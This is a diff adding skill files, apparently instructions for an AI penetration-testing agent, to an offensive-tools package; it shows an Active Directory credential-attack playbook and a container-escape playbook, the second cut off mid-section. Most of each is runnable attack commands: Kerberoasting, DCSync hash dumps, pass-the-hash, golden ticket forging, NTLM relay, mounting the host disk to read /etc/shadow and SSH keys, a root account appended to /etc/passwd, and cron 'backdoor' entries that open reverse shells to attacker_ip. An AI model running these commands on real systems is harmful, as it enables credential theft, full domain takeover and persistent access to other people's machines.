- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,306 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Active Directory Credential Attacks
|
|
4
|
+
|
|
5
|
+
Step-by-step: Kerberoasting, AS-REP Roasting, DCSync, Pass-the-Hash, Pass-the-Ticket, Silver Ticket, Golden Ticket.
|
|
6
|
+
All via Impacket + netexec (CLI, no Windows required).
|
|
7
|
+
|
|
8
|
+
## Install
|
|
9
|
+
|
|
10
|
+
```bash
|
|
11
|
+
pip install impacket --break-system-packages
|
|
12
|
+
sudo apt-get install -y krb5-user
|
|
13
|
+
# hashcat or john for cracking:
|
|
14
|
+
sudo apt-get install -y hashcat john
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
---
|
|
18
|
+
|
|
19
|
+
## Phase 1: Kerberoasting
|
|
20
|
+
|
|
21
|
+
```bash
|
|
22
|
+
# Request TGS tickets for accounts with SPNs → crack offline
|
|
23
|
+
# Requires: any valid domain account
|
|
24
|
+
|
|
25
|
+
# Method 1: Impacket GetUserSPNs:
|
|
26
|
+
GetUserSPNs.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP> -request
|
|
27
|
+
|
|
28
|
+
# Save to file for cracking:
|
|
29
|
+
GetUserSPNs.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP> -request \
|
|
30
|
+
-outputfile kerberoast_hashes.txt
|
|
31
|
+
|
|
32
|
+
# Method 2: with NTLM hash:
|
|
33
|
+
GetUserSPNs.py 'DOMAIN.COM/user' -hashes ':NTHASH' \
|
|
34
|
+
-dc-ip <DC_IP> -request -outputfile kerberoast_hashes.txt
|
|
35
|
+
|
|
36
|
+
# Method 3: Kerberos ticket (no password):
|
|
37
|
+
KRB5CCNAME=/tmp/user.ccache GetUserSPNs.py 'DOMAIN.COM/user' \
|
|
38
|
+
-dc-ip <DC_IP> -k -no-pass -request
|
|
39
|
+
|
|
40
|
+
# Crack with hashcat:
|
|
41
|
+
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
|
|
42
|
+
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
|
|
43
|
+
|
|
44
|
+
# Crack with john:
|
|
45
|
+
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoast_hashes.txt
|
|
46
|
+
|
|
47
|
+
# RC4 vs AES:
|
|
48
|
+
# $krb5tgs$23$* = RC4 (faster to crack, hashcat mode 13100)
|
|
49
|
+
# $krb5tgs$18$* = AES256 (slower, mode 19700)
|
|
50
|
+
# $krb5tgs$17$* = AES128 (mode 19600)
|
|
51
|
+
# Force RC4 downgrade:
|
|
52
|
+
GetUserSPNs.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP> -request -request-user svc_account
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
---
|
|
56
|
+
|
|
57
|
+
## Phase 2: AS-REP Roasting
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
# Request AS-REP for accounts with "Do not require Kerberos pre-authentication"
|
|
61
|
+
# Does NOT require valid credentials — works unauthenticated if you know usernames
|
|
62
|
+
|
|
63
|
+
# Method 1: Unauthenticated (need username list):
|
|
64
|
+
GetNPUsers.py 'DOMAIN.COM/' -usersfile usernames.txt -dc-ip <DC_IP> -no-pass -format hashcat
|
|
65
|
+
|
|
66
|
+
# Method 2: Authenticated (auto-enumerate vulnerable accounts):
|
|
67
|
+
GetNPUsers.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP> -request -format hashcat
|
|
68
|
+
|
|
69
|
+
# Output:
|
|
70
|
+
# $krb5asrep$23$USER@DOMAIN.COM:...
|
|
71
|
+
|
|
72
|
+
# Crack with hashcat:
|
|
73
|
+
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
|
|
74
|
+
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
|
|
75
|
+
|
|
76
|
+
# Crack with john:
|
|
77
|
+
john --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
---
|
|
81
|
+
|
|
82
|
+
## Phase 3: DCSync (Extract All Hashes)
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
# Dump NTLM hashes for ALL users from Domain Controller
|
|
86
|
+
# Requires: GenericAll/WriteDacl/Replication rights on domain object OR Domain Admin
|
|
87
|
+
|
|
88
|
+
# Full domain dump:
|
|
89
|
+
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>'
|
|
90
|
+
|
|
91
|
+
# With NTLM hash:
|
|
92
|
+
secretsdump.py -hashes ':NTHASH' 'DOMAIN.COM/admin@<DC_IP>'
|
|
93
|
+
|
|
94
|
+
# With Kerberos ticket:
|
|
95
|
+
KRB5CCNAME=/tmp/admin.ccache secretsdump.py -k -no-pass 'DOMAIN.COM/admin@dc01.domain.com'
|
|
96
|
+
|
|
97
|
+
# Specific user only:
|
|
98
|
+
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>' -just-dc-user krbtgt
|
|
99
|
+
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>' -just-dc-user administrator
|
|
100
|
+
|
|
101
|
+
# Output format:
|
|
102
|
+
# domain\user:RID:LMHASH:NTHASH:::
|
|
103
|
+
# administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
|
104
|
+
|
|
105
|
+
# Dump NTDS.dit offline (if you have file access):
|
|
106
|
+
secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
|
|
107
|
+
|
|
108
|
+
# Historical passwords (old hashes):
|
|
109
|
+
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>' -history
|
|
110
|
+
```
|
|
111
|
+
|
|
112
|
+
---
|
|
113
|
+
|
|
114
|
+
## Phase 4: Pass-the-Hash (PtH)
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
# Authenticate using NTLM hash instead of plaintext password
|
|
118
|
+
# Works for local admin accounts and domain accounts on older systems
|
|
119
|
+
|
|
120
|
+
# psexec (remote shell):
|
|
121
|
+
psexec.py -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET_IP>'
|
|
122
|
+
|
|
123
|
+
# wmiexec (WMI-based shell, quieter):
|
|
124
|
+
wmiexec.py -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET_IP>'
|
|
125
|
+
|
|
126
|
+
# smbexec (SMB shell):
|
|
127
|
+
smbexec.py -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET_IP>'
|
|
128
|
+
|
|
129
|
+
# atexec (run command via Task Scheduler):
|
|
130
|
+
atexec.py -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET_IP>' "whoami"
|
|
131
|
+
|
|
132
|
+
# SMB share access:
|
|
133
|
+
smbclient.py -hashes ':NTHASH' 'DOMAIN.COM/administrator@<TARGET_IP>'
|
|
134
|
+
|
|
135
|
+
# netexec PtH:
|
|
136
|
+
netexec smb <TARGET_IP> -u administrator -H 'NTHASH' --exec-method wmiexec -x "whoami"
|
|
137
|
+
netexec smb 10.10.10.0/24 -u administrator -H 'NTHASH' # spray across subnet
|
|
138
|
+
|
|
139
|
+
# PtH via RDP (requires Restricted Admin Mode enabled):
|
|
140
|
+
xfreerdp /v:<TARGET_IP> /u:administrator /pth:NTHASH /cert:ignore +clipboard
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
---
|
|
144
|
+
|
|
145
|
+
## Phase 5: Pass-the-Ticket (PtT)
|
|
146
|
+
|
|
147
|
+
```bash
|
|
148
|
+
# Use Kerberos TGT/TGS ticket for authentication
|
|
149
|
+
# Obtain ticket from: mimikatz, rubeus, or impacket
|
|
150
|
+
|
|
151
|
+
# Request TGT with credentials:
|
|
152
|
+
getTGT.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP>
|
|
153
|
+
# Creates: user.ccache
|
|
154
|
+
|
|
155
|
+
# Request TGT with hash (overpass-the-hash):
|
|
156
|
+
getTGT.py 'DOMAIN.COM/user' -hashes ':NTHASH' -dc-ip <DC_IP>
|
|
157
|
+
|
|
158
|
+
# Use ticket:
|
|
159
|
+
export KRB5CCNAME=/tmp/user.ccache
|
|
160
|
+
klist # verify ticket loaded
|
|
161
|
+
# Now all Kerberos tools use this ticket:
|
|
162
|
+
smbclient.py -k -no-pass 'DOMAIN.COM/user@server.domain.com'
|
|
163
|
+
wmiexec.py -k -no-pass 'DOMAIN.COM/user@server.domain.com'
|
|
164
|
+
|
|
165
|
+
# Get TGS for specific service (S4U2Self):
|
|
166
|
+
getST.py 'DOMAIN.COM/computer$' -spn 'cifs/target.domain.com' \
|
|
167
|
+
-hashes ':NTHASH' -impersonate Administrator -dc-ip <DC_IP>
|
|
168
|
+
export KRB5CCNAME=Administrator@cifs_target.domain.com@DOMAIN.COM.ccache
|
|
169
|
+
smbclient.py -k -no-pass 'DOMAIN.COM/Administrator@target.domain.com'
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Phase 6: Silver Ticket
|
|
175
|
+
|
|
176
|
+
```bash
|
|
177
|
+
# Forge TGS for a specific service using service account NTLM hash
|
|
178
|
+
# Requires: service account hash (from secretsdump), domain SID
|
|
179
|
+
|
|
180
|
+
# Get domain SID:
|
|
181
|
+
getPac.py 'DOMAIN.COM/user:password' -dc-ip <DC_IP>
|
|
182
|
+
# OR: ldapsearch → objectSid of domain object
|
|
183
|
+
lookupsid.py 'DOMAIN.COM/user:password@<DC_IP>'
|
|
184
|
+
# Extract: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
|
|
185
|
+
|
|
186
|
+
# Forge silver ticket:
|
|
187
|
+
ticketer.py -nthash <SERVICE_NTHASH> \
|
|
188
|
+
-domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
|
|
189
|
+
-domain DOMAIN.COM \
|
|
190
|
+
-spn cifs/server.domain.com \
|
|
191
|
+
administrator # user to impersonate
|
|
192
|
+
# Creates: administrator.ccache
|
|
193
|
+
|
|
194
|
+
# Use silver ticket:
|
|
195
|
+
export KRB5CCNAME=administrator.ccache
|
|
196
|
+
smbclient.py -k -no-pass 'DOMAIN.COM/administrator@server.domain.com'
|
|
197
|
+
# Access CIFS on server as administrator
|
|
198
|
+
|
|
199
|
+
# Common service SPNs:
|
|
200
|
+
# cifs/server.domain.com → SMB/file shares
|
|
201
|
+
# host/server.domain.com → WMI/scheduled tasks
|
|
202
|
+
# http/server.domain.com → IIS/web service
|
|
203
|
+
# mssql/server.domain.com → SQL Server
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
---
|
|
207
|
+
|
|
208
|
+
## Phase 7: Golden Ticket
|
|
209
|
+
|
|
210
|
+
```bash
|
|
211
|
+
# Forge TGT using KRBTGT hash → persistent DA access
|
|
212
|
+
# Requires: KRBTGT NTLM hash (from DCSync), domain SID
|
|
213
|
+
|
|
214
|
+
# Get KRBTGT hash:
|
|
215
|
+
secretsdump.py 'DOMAIN.COM/admin:password@<DC_IP>' -just-dc-user krbtgt
|
|
216
|
+
# Save NTHASH: e.g. 82cbba3c1ac9c4fd12d6428c3ed28611
|
|
217
|
+
|
|
218
|
+
# Get domain SID:
|
|
219
|
+
lookupsid.py 'DOMAIN.COM/admin:password@<DC_IP>' | grep "DOMAIN SID"
|
|
220
|
+
# S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
|
|
221
|
+
|
|
222
|
+
# Forge golden ticket:
|
|
223
|
+
ticketer.py -nthash 82cbba3c1ac9c4fd12d6428c3ed28611 \
|
|
224
|
+
-domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
|
|
225
|
+
-domain DOMAIN.COM \
|
|
226
|
+
administrator # any username (even nonexistent)
|
|
227
|
+
# Creates: administrator.ccache (valid for 10 years by default)
|
|
228
|
+
|
|
229
|
+
# Use golden ticket:
|
|
230
|
+
export KRB5CCNAME=administrator.ccache
|
|
231
|
+
psexec.py -k -no-pass 'DOMAIN.COM/administrator@dc01.domain.com'
|
|
232
|
+
secretsdump.py -k -no-pass 'DOMAIN.COM/administrator@dc01.domain.com'
|
|
233
|
+
|
|
234
|
+
# Full domain compromise:
|
|
235
|
+
secretsdump.py -k -no-pass 'DOMAIN.COM/administrator@dc01.domain.com' -just-dc-ntlm
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
---
|
|
239
|
+
|
|
240
|
+
## Phase 8: NTLM Relay Attack
|
|
241
|
+
|
|
242
|
+
```bash
|
|
243
|
+
# Capture and relay NTLM auth to authenticate as the victim
|
|
244
|
+
# Requires: Responder + ntlmrelayx (impacket)
|
|
245
|
+
|
|
246
|
+
# Step 1: Disable SMB/HTTP in Responder:
|
|
247
|
+
sed -i 's/SMB = On/SMB = Off/;s/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
|
|
248
|
+
|
|
249
|
+
# Step 2: Run Responder to capture hashes:
|
|
250
|
+
python3 /opt/Responder/Responder.py -I eth0 -v
|
|
251
|
+
|
|
252
|
+
# Step 3: Run ntlmrelayx to relay:
|
|
253
|
+
ntlmrelayx.py -tf targets.txt -smb2support # relay to target list
|
|
254
|
+
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support # relay to specific target
|
|
255
|
+
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support -i # interactive shell
|
|
256
|
+
ntlmrelayx.py -t ldap://<DC_IP> --delegate-access # delegate access
|
|
257
|
+
|
|
258
|
+
# NTLM relay to LDAP (create new admin account):
|
|
259
|
+
ntlmrelayx.py -t ldap://<DC_IP> -smb2support --add-computer NEWPC$ P@ssw0rd123
|
|
260
|
+
# Then add NEWPC$ to desired group
|
|
261
|
+
|
|
262
|
+
# Targets file (one per line):
|
|
263
|
+
cat targets.txt
|
|
264
|
+
# 10.10.10.1
|
|
265
|
+
# 10.10.10.2
|
|
266
|
+
```
|
|
267
|
+
|
|
268
|
+
---
|
|
269
|
+
|
|
270
|
+
## Hash Cracking Reference
|
|
271
|
+
|
|
272
|
+
```bash
|
|
273
|
+
# Crack NTLM hash:
|
|
274
|
+
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
|
|
275
|
+
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule
|
|
276
|
+
|
|
277
|
+
# Crack NTLMv2 (from Responder):
|
|
278
|
+
hashcat -m 5600 netntlmv2_hashes.txt /usr/share/wordlists/rockyou.txt
|
|
279
|
+
|
|
280
|
+
# Crack Kerberoast (RC4):
|
|
281
|
+
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
|
|
282
|
+
|
|
283
|
+
# Crack AS-REP:
|
|
284
|
+
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
|
|
285
|
+
|
|
286
|
+
# Rules for better coverage:
|
|
287
|
+
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
|
|
288
|
+
hashcat -m 1000 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/d3adhob0.rule
|
|
289
|
+
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?d?d?d' # mask attack
|
|
290
|
+
```
|
|
291
|
+
|
|
292
|
+
---
|
|
293
|
+
|
|
294
|
+
## Pro Tips
|
|
295
|
+
|
|
296
|
+
1. **Kerberoasting order**: RC4 accounts crack fastest → target admincount=1 users first
|
|
297
|
+
2. **AS-REP unauthenticated**: doesn't need creds → try with username list before getting valid account
|
|
298
|
+
3. **DCSync** = most valuable → run immediately when DA/replication rights obtained
|
|
299
|
+
4. **Silver ticket** → more stealthy than golden (no DC contact during authentication)
|
|
300
|
+
5. **Golden ticket** → persists even after password change (until KRBTGT rotated twice)
|
|
301
|
+
6. **PtH vs PtT**: PtH uses NTLM auth, PtT uses Kerberos — PtT bypasses NTLM-restricted targets
|
|
302
|
+
7. **NTLM relay** → most effective in flat networks; requires non-signing SMB targets (`--gen-relay-list` with netexec)
|
|
303
|
+
|
|
304
|
+
## Summary
|
|
305
|
+
|
|
306
|
+
AD credential attack flow: enumerate SPNs → Kerberoast → crack RC4 tickets → check admincount=1 users for AS-REP → if DA reached: DCSync for KRBTGT hash → forge golden ticket for persistence → use silver tickets for service-specific stealth access.
|
|
@@ -0,0 +1,299 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Container Escape & Docker Breakout
|
|
4
|
+
|
|
5
|
+
Techniques to escape Docker/container isolation and gain access to the host system.
|
|
6
|
+
Applies to: privileged containers, misconfigured mounts, writable cgroup, exposed Docker socket, runc vulnerabilities.
|
|
7
|
+
|
|
8
|
+
## Install
|
|
9
|
+
|
|
10
|
+
```bash
|
|
11
|
+
# Tools available inside container:
|
|
12
|
+
# Standard: ls, cat, mount, id, capsh, nsenter, chroot
|
|
13
|
+
# May need to install:
|
|
14
|
+
apt-get install -y libcap2-bin # for capsh/getcap
|
|
15
|
+
apt-get install -y util-linux # for nsenter, unshare
|
|
16
|
+
|
|
17
|
+
# On host (if you escape):
|
|
18
|
+
# All tools available
|
|
19
|
+
```
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## Phase 1: Container Environment Recon
|
|
24
|
+
|
|
25
|
+
```bash
|
|
26
|
+
# Am I in a container?
|
|
27
|
+
cat /proc/1/cgroup | grep -i "docker\|kubepods\|containerd"
|
|
28
|
+
ls /.dockerenv # exists in Docker containers
|
|
29
|
+
cat /etc/hostname # usually short random hash
|
|
30
|
+
|
|
31
|
+
# Container runtime:
|
|
32
|
+
cat /proc/1/environ | tr '\0' '\n' | grep -i "CONTAINER\|KUBERNETES\|DOCKER"
|
|
33
|
+
|
|
34
|
+
# Check capabilities (critical):
|
|
35
|
+
capsh --print
|
|
36
|
+
cat /proc/self/status | grep -i "cap"
|
|
37
|
+
# Look for: cap_sys_admin, cap_net_admin, cap_dac_override, cap_setuid
|
|
38
|
+
|
|
39
|
+
# Check if privileged:
|
|
40
|
+
ip link # can modify interfaces = privileged
|
|
41
|
+
mount # full mount list = privileged
|
|
42
|
+
ls /dev/ # /dev/sda*, /dev/mem visible = privileged
|
|
43
|
+
|
|
44
|
+
# Seccomp status:
|
|
45
|
+
cat /proc/self/status | grep Seccomp # 0=disabled, 1=strict, 2=filter
|
|
46
|
+
|
|
47
|
+
# AppArmor profile:
|
|
48
|
+
cat /proc/self/attr/current
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Phase 2: Escape via Privileged Container
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# Privileged containers have ALL capabilities and full /dev access
|
|
57
|
+
|
|
58
|
+
# Method 1: Mount host filesystem via /dev/sda:
|
|
59
|
+
fdisk -l 2>/dev/null # find host disk
|
|
60
|
+
mkdir /mnt/host
|
|
61
|
+
mount /dev/sda1 /mnt/host # mount host root
|
|
62
|
+
|
|
63
|
+
# Read host files:
|
|
64
|
+
cat /mnt/host/etc/shadow
|
|
65
|
+
cat /mnt/host/root/.ssh/id_rsa
|
|
66
|
+
|
|
67
|
+
# Chroot to host (full shell):
|
|
68
|
+
chroot /mnt/host /bin/bash
|
|
69
|
+
id # should be root on host
|
|
70
|
+
|
|
71
|
+
# Method 2: Mount host proc:
|
|
72
|
+
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
|
|
73
|
+
# --target 1 = PID 1 (host init process)
|
|
74
|
+
# This gives full host namespace access
|
|
75
|
+
|
|
76
|
+
# Method 3: Write cron job to host:
|
|
77
|
+
mount /dev/sda1 /mnt/host
|
|
78
|
+
echo "* * * * * root /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /mnt/host/etc/cron.d/backdoor
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## Phase 3: Escape via Docker Socket
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
# Check for mounted Docker socket:
|
|
87
|
+
ls -la /var/run/docker.sock # if exists → full Docker API access
|
|
88
|
+
ls -la /run/docker.sock
|
|
89
|
+
|
|
90
|
+
# Use Docker CLI to create privileged container on HOST:
|
|
91
|
+
docker -H unix:///var/run/docker.sock run -it \
|
|
92
|
+
--privileged \
|
|
93
|
+
--pid=host \
|
|
94
|
+
--net=host \
|
|
95
|
+
-v /:/mnt/host \
|
|
96
|
+
ubuntu:latest /bin/bash
|
|
97
|
+
|
|
98
|
+
# Inside new container: host / is at /mnt/host
|
|
99
|
+
chroot /mnt/host /bin/bash
|
|
100
|
+
id # root on host
|
|
101
|
+
|
|
102
|
+
# Without Docker CLI (raw API):
|
|
103
|
+
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | python3 -m json.tool | grep RepoTags
|
|
104
|
+
|
|
105
|
+
# Create container via API:
|
|
106
|
+
curl -s --unix-socket /var/run/docker.sock \
|
|
107
|
+
-X POST "http://localhost/containers/create" \
|
|
108
|
+
-H "Content-Type: application/json" \
|
|
109
|
+
-d '{
|
|
110
|
+
"Image": "ubuntu",
|
|
111
|
+
"Cmd": ["/bin/sh", "-c", "cat /mnt/root/.ssh/id_rsa"],
|
|
112
|
+
"Binds": ["/:/mnt/root:rw"],
|
|
113
|
+
"Privileged": true
|
|
114
|
+
}' | python3 -m json.tool
|
|
115
|
+
|
|
116
|
+
# Start and get logs:
|
|
117
|
+
CONTAINER_ID=$(...)
|
|
118
|
+
curl -s --unix-socket /var/run/docker.sock -X POST "http://localhost/containers/$CONTAINER_ID/start"
|
|
119
|
+
curl -s --unix-socket /var/run/docker.sock "http://localhost/containers/$CONTAINER_ID/logs?stdout=1&stderr=1"
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
---
|
|
123
|
+
|
|
124
|
+
## Phase 4: Escape via cgroup v1 Release Agent
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# Requires: SYS_ADMIN capability or privileged, cgroup v1 (pre-2022 systems)
|
|
128
|
+
|
|
129
|
+
# Check if exploitable:
|
|
130
|
+
cat /proc/1/cgroup # should show cgroup v1 path
|
|
131
|
+
ls /sys/fs/cgroup/ # look for 'memory' or 'devices' directories
|
|
132
|
+
|
|
133
|
+
# Exploit:
|
|
134
|
+
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
|
|
135
|
+
mkdir /tmp/cgrp/x
|
|
136
|
+
|
|
137
|
+
# Enable notify_on_release:
|
|
138
|
+
echo 1 > /tmp/cgrp/x/notify_on_release
|
|
139
|
+
|
|
140
|
+
# Get container path on host:
|
|
141
|
+
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
|
|
142
|
+
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
|
143
|
+
|
|
144
|
+
# Write command to execute on host:
|
|
145
|
+
echo '#!/bin/sh' > /cmd
|
|
146
|
+
echo "id > $host_path/output" >> /cmd # writes to container-visible path
|
|
147
|
+
chmod +x /cmd
|
|
148
|
+
|
|
149
|
+
# Trigger release agent:
|
|
150
|
+
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
|
151
|
+
|
|
152
|
+
# Check output:
|
|
153
|
+
cat /output # contains 'uid=0(root)' on host
|
|
154
|
+
|
|
155
|
+
# Reverse shell version:
|
|
156
|
+
echo '#!/bin/sh' > /cmd
|
|
157
|
+
echo "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" >> /cmd
|
|
158
|
+
chmod +x /cmd
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
---
|
|
162
|
+
|
|
163
|
+
## Phase 5: Escape via Writable /etc/cron, /etc/passwd, authorized_keys
|
|
164
|
+
|
|
165
|
+
```bash
|
|
166
|
+
# If /etc is mounted from host (common in dev environments):
|
|
167
|
+
mount | grep /etc # shows host bind mount
|
|
168
|
+
|
|
169
|
+
# Add root user to /etc/passwd:
|
|
170
|
+
echo 'hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:root:/root:/bin/bash' >> /etc/passwd
|
|
171
|
+
# Password: hacker
|
|
172
|
+
|
|
173
|
+
# Write SSH key to root authorized_keys:
|
|
174
|
+
mkdir -p /root/.ssh
|
|
175
|
+
echo "ssh-rsa AAAA... attacker@kali" >> /root/.ssh/authorized_keys
|
|
176
|
+
chmod 600 /root/.ssh/authorized_keys
|
|
177
|
+
|
|
178
|
+
# If /etc/cron.d is writable:
|
|
179
|
+
echo "* * * * * root bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > /etc/cron.d/backdoor
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## Phase 6: Escape via Kernel Vulnerability
|
|
185
|
+
|
|
186
|
+
```bash
|
|
187
|
+
# Check kernel version:
|
|
188
|
+
uname -r # e.g. 4.15.0
|
|
189
|
+
|
|
190
|
+
# Known container escape CVEs:
|
|
191
|
+
# CVE-2022-0492: cgroup v1 release_agent escape (covered in Phase 4)
|
|
192
|
+
# CVE-2022-0185: heap overflow in legacy_parse_param
|
|
193
|
+
# CVE-2021-3493: ubuntu overlayfs privilege escalation
|
|
194
|
+
# CVE-2019-5736: runc container escape (overwrites /proc/self/exe)
|
|
195
|
+
# CVE-2019-14271: Docker copy escape via nsswitch
|
|
196
|
+
|
|
197
|
+
# Check runc version:
|
|
198
|
+
runc --version 2>/dev/null
|
|
199
|
+
docker version 2>/dev/null
|
|
200
|
+
|
|
201
|
+
